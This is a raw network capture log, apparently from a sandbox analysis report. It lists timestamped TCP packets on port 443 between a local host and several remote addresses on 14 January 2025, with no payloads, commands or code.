Jan 14, 2025 15:55:57.640235901 CET	443	49820	52.164.226.60	192.168.2.6
Jan 14, 2025 15:55:57.685103893 CET	49820	443	192.168.2.6	52.164.226.60
Jan 14, 2025 15:55:57.738612890 CET	443	49821	52.164.226.60	192.168.2.6
Jan 14, 2025 15:55:57.738821983 CET	443	49821	52.164.226.60	192.168.2.6
Jan 14, 2025 15:55:57.739108086 CET	49821	443	192.168.2.6	52.164.226.60
Jan 14, 2025 15:55:57.740029097 CET	49821	443	192.168.2.6	52.164.226.60
Jan 14, 2025 15:55:57.740057945 CET	443	49821	52.164.226.60	192.168.2.6
Jan 14, 2025 15:55:57.798919916 CET	49830	443	192.168.2.6	34.202.63.170
Jan 14, 2025 15:55:57.798964977 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:57.799038887 CET	49830	443	192.168.2.6	34.202.63.170
Jan 14, 2025 15:55:57.799386978 CET	49830	443	192.168.2.6	34.202.63.170
Jan 14, 2025 15:55:57.799403906 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.393856049 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.394161940 CET	49830	443	192.168.2.6	34.202.63.170
Jan 14, 2025 15:55:58.394176960 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.395220041 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.395287991 CET	49830	443	192.168.2.6	34.202.63.170
Jan 14, 2025 15:55:58.396771908 CET	49830	443	192.168.2.6	34.202.63.170
Jan 14, 2025 15:55:58.396874905 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.396998882 CET	49830	443	192.168.2.6	34.202.63.170
Jan 14, 2025 15:55:58.397013903 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.450237036 CET	49830	443	192.168.2.6	34.202.63.170
Jan 14, 2025 15:55:58.588080883 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.595606089 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.595614910 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.595658064 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.595678091 CET	49830	443	192.168.2.6	34.202.63.170
Jan 14, 2025 15:55:58.595679045 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.595688105 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.595705986 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.595732927 CET	49830	443	192.168.2.6	34.202.63.170
Jan 14, 2025 15:55:58.595767975 CET	49830	443	192.168.2.6	34.202.63.170
Jan 14, 2025 15:55:58.677845001 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.677867889 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.677920103 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.678015947 CET	49830	443	192.168.2.6	34.202.63.170
Jan 14, 2025 15:55:58.678035975 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.678064108 CET	49830	443	192.168.2.6	34.202.63.170
Jan 14, 2025 15:55:58.683442116 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.683465004 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.683501959 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.683526039 CET	49830	443	192.168.2.6	34.202.63.170
Jan 14, 2025 15:55:58.683542013 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.683592081 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.683605909 CET	49830	443	192.168.2.6	34.202.63.170
Jan 14, 2025 15:55:58.683624983 CET	49830	443	192.168.2.6	34.202.63.170
Jan 14, 2025 15:55:58.686204910 CET	49830	443	192.168.2.6	34.202.63.170
Jan 14, 2025 15:55:58.686224937 CET	443	49830	34.202.63.170	192.168.2.6
Jan 14, 2025 15:55:58.702155113 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:58.702184916 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:58.702400923 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:58.702649117 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:58.702660084 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:58.717803955 CET	49835	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:58.717848063 CET	443	49835	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:58.717962027 CET	49835	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:58.718471050 CET	49836	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:58.718492985 CET	443	49836	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:58.718544006 CET	49836	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:58.718832970 CET	49835	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:58.718858004 CET	443	49835	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:58.719149113 CET	49836	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:58.719158888 CET	443	49836	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:58.729557037 CET	49837	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:58.729582071 CET	443	49837	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:58.729655027 CET	49837	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:58.729927063 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:58.729948997 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:58.729999065 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:58.730983019 CET	49839	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:58.730992079 CET	443	49839	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:58.731064081 CET	49839	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:58.731811047 CET	49837	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:58.731822968 CET	443	49837	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:58.732233047 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:58.732244968 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:58.733474970 CET	49839	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:58.733488083 CET	443	49839	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:58.736700058 CET	49840	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:55:58.736768007 CET	443	49840	169.150.236.105	192.168.2.6
Jan 14, 2025 15:55:58.737031937 CET	49840	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:55:58.737154961 CET	49840	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:55:58.737194061 CET	443	49840	169.150.236.105	192.168.2.6
Jan 14, 2025 15:55:58.782488108 CET	49841	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:55:58.782541037 CET	443	49841	108.138.26.121	192.168.2.6
Jan 14, 2025 15:55:58.782696962 CET	49841	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:55:58.782915115 CET	49842	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:55:58.782958984 CET	443	49842	108.138.26.121	192.168.2.6
Jan 14, 2025 15:55:58.783121109 CET	49842	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:55:58.783679962 CET	49841	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:55:58.783704996 CET	443	49841	108.138.26.121	192.168.2.6
Jan 14, 2025 15:55:58.784162998 CET	49842	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:55:58.784178972 CET	443	49842	108.138.26.121	192.168.2.6
Jan 14, 2025 15:55:59.318054914 CET	443	49840	169.150.236.105	192.168.2.6
Jan 14, 2025 15:55:59.318495035 CET	49840	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:55:59.318566084 CET	443	49840	169.150.236.105	192.168.2.6
Jan 14, 2025 15:55:59.319696903 CET	443	49840	169.150.236.105	192.168.2.6
Jan 14, 2025 15:55:59.319777966 CET	49840	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:55:59.322168112 CET	49840	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:55:59.322273016 CET	443	49840	169.150.236.105	192.168.2.6
Jan 14, 2025 15:55:59.322391033 CET	49840	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:55:59.363334894 CET	443	49840	169.150.236.105	192.168.2.6
Jan 14, 2025 15:55:59.372082949 CET	49840	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:55:59.372116089 CET	443	49840	169.150.236.105	192.168.2.6
Jan 14, 2025 15:55:59.418118954 CET	49840	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:55:59.421037912 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.421643019 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.421653986 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.422601938 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.422684908 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.424218893 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.424303055 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.424587965 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.424595118 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.434467077 CET	443	49842	108.138.26.121	192.168.2.6
Jan 14, 2025 15:55:59.434493065 CET	443	49841	108.138.26.121	192.168.2.6
Jan 14, 2025 15:55:59.438343048 CET	49841	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:55:59.438355923 CET	443	49841	108.138.26.121	192.168.2.6
Jan 14, 2025 15:55:59.438676119 CET	49842	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:55:59.438692093 CET	443	49842	108.138.26.121	192.168.2.6
Jan 14, 2025 15:55:59.439589024 CET	443	49841	108.138.26.121	192.168.2.6
Jan 14, 2025 15:55:59.439651966 CET	49841	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:55:59.439822912 CET	443	49842	108.138.26.121	192.168.2.6
Jan 14, 2025 15:55:59.440013885 CET	49842	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:55:59.441416025 CET	49841	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:55:59.441540956 CET	443	49841	108.138.26.121	192.168.2.6
Jan 14, 2025 15:55:59.441869974 CET	49842	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:55:59.441953897 CET	443	49842	108.138.26.121	192.168.2.6
Jan 14, 2025 15:55:59.442596912 CET	49841	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:55:59.442610979 CET	443	49841	108.138.26.121	192.168.2.6
Jan 14, 2025 15:55:59.442898035 CET	49842	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:55:59.442905903 CET	443	49842	108.138.26.121	192.168.2.6
Jan 14, 2025 15:55:59.449069977 CET	443	49840	169.150.236.105	192.168.2.6
Jan 14, 2025 15:55:59.450284958 CET	443	49837	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.450792074 CET	49837	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.450813055 CET	443	49837	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.451916933 CET	443	49837	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.451984882 CET	49837	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.452625990 CET	49837	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.452744007 CET	443	49837	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.452918053 CET	49837	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.452931881 CET	443	49837	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.453454018 CET	443	49840	169.150.236.105	192.168.2.6
Jan 14, 2025 15:55:59.453469038 CET	443	49840	169.150.236.105	192.168.2.6
Jan 14, 2025 15:55:59.453490973 CET	443	49840	169.150.236.105	192.168.2.6
Jan 14, 2025 15:55:59.453500032 CET	443	49840	169.150.236.105	192.168.2.6
Jan 14, 2025 15:55:59.453524113 CET	443	49840	169.150.236.105	192.168.2.6
Jan 14, 2025 15:55:59.453530073 CET	49840	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:55:59.453564882 CET	443	49840	169.150.236.105	192.168.2.6
Jan 14, 2025 15:55:59.453600883 CET	49840	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:55:59.453803062 CET	49840	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:55:59.454927921 CET	49840	443	192.168.2.6	169.150.236.105
Jan 14, 2025 15:55:59.454968929 CET	443	49840	169.150.236.105	192.168.2.6
Jan 14, 2025 15:55:59.455941916 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.456072092 CET	443	49839	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.456645966 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.456661940 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.456902981 CET	49839	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.456912994 CET	443	49839	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.457757950 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.458039045 CET	443	49839	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.458071947 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.458105087 CET	49839	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.458368063 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.458442926 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.458818913 CET	49839	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.458897114 CET	443	49839	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.459042072 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.459050894 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.459105015 CET	49839	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.459111929 CET	443	49839	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.460989952 CET	443	49835	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.461289883 CET	49835	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.461308002 CET	443	49835	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.462351084 CET	443	49835	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.462404013 CET	49835	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.462985039 CET	49835	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.463078976 CET	443	49835	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.463140965 CET	49835	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.463150024 CET	443	49835	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.465270996 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.466931105 CET	443	49836	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.467259884 CET	49836	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.467267036 CET	443	49836	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.468339920 CET	443	49836	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.468400955 CET	49836	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.469146013 CET	49836	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.469217062 CET	443	49836	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.469346046 CET	49836	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.469353914 CET	443	49836	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.497287035 CET	49842	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:55:59.504240036 CET	49841	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:55:59.504261971 CET	49837	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.504261971 CET	49839	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.505292892 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.505320072 CET	49835	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.514161110 CET	49836	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.694727898 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.694758892 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.694766998 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.694782019 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.694802999 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.694854975 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.694864988 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.694891930 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.694910049 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.704133987 CET	443	49841	108.138.26.121	192.168.2.6
Jan 14, 2025 15:55:59.704154015 CET	443	49841	108.138.26.121	192.168.2.6
Jan 14, 2025 15:55:59.704224110 CET	49841	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:55:59.704236984 CET	443	49841	108.138.26.121	192.168.2.6
Jan 14, 2025 15:55:59.704272032 CET	443	49841	108.138.26.121	192.168.2.6
Jan 14, 2025 15:55:59.704279900 CET	49841	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:55:59.704314947 CET	49841	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:55:59.718173981 CET	49841	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:55:59.718200922 CET	443	49841	108.138.26.121	192.168.2.6
Jan 14, 2025 15:55:59.722692966 CET	443	49837	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.722774029 CET	443	49837	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.722825050 CET	49837	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.724701881 CET	49837	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.724721909 CET	443	49837	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.728741884 CET	443	49839	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.728763103 CET	443	49839	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.728818893 CET	49839	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.728831053 CET	443	49839	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.728844881 CET	443	49839	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.728900909 CET	49839	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.729553938 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.739532948 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.739547014 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.739558935 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.739625931 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.739645004 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.739706039 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.746411085 CET	443	49835	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.746437073 CET	443	49835	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.746444941 CET	443	49835	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.746455908 CET	443	49835	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.746479034 CET	443	49835	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.746519089 CET	49835	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.746547937 CET	443	49835	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.746560097 CET	49835	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.746591091 CET	49835	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.747833967 CET	443	49836	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.747864008 CET	443	49836	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.747873068 CET	443	49836	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.747906923 CET	443	49836	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.748236895 CET	49836	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.748249054 CET	443	49836	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.750263929 CET	443	49836	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.755254030 CET	49836	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.775408030 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.775428057 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.775500059 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.775506020 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.775648117 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.781186104 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.781203985 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.781299114 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.781303883 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.781352997 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.818569899 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.818592072 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.818739891 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.818770885 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.818784952 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.818814993 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.818823099 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.818871975 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.826152086 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.826170921 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.826282024 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.826297045 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.826334000 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.830681086 CET	443	49835	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.830703974 CET	443	49835	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.830792904 CET	49835	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.830811977 CET	443	49835	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.833539009 CET	49835	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.835024118 CET	443	49835	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.835071087 CET	443	49835	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.835103035 CET	49835	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.835112095 CET	443	49835	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.835160017 CET	49835	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.835184097 CET	49835	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.861666918 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.861685991 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.861829996 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.861829996 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.861836910 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.863657951 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.863686085 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.863826036 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.863826036 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.863831997 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.864474058 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.865371943 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.865386963 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.865520954 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.865539074 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.865607023 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.869797945 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.870575905 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.870596886 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.870693922 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.870703936 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.870749950 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.903440952 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.903482914 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.903606892 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.903639078 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.903656006 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.903681040 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.905157089 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.905181885 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.905234098 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.905241966 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.905272961 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.905292034 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.907882929 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.907901049 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.907968998 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.907983065 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.909480095 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.912895918 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.912914038 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.912988901 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.913016081 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.915471077 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.947859049 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.947877884 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.948033094 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.948039055 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.948091984 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.948749065 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.948770046 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.948874950 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.948879957 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.949429989 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.949800968 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.949831009 CET	443	49834	143.204.98.14	192.168.2.6
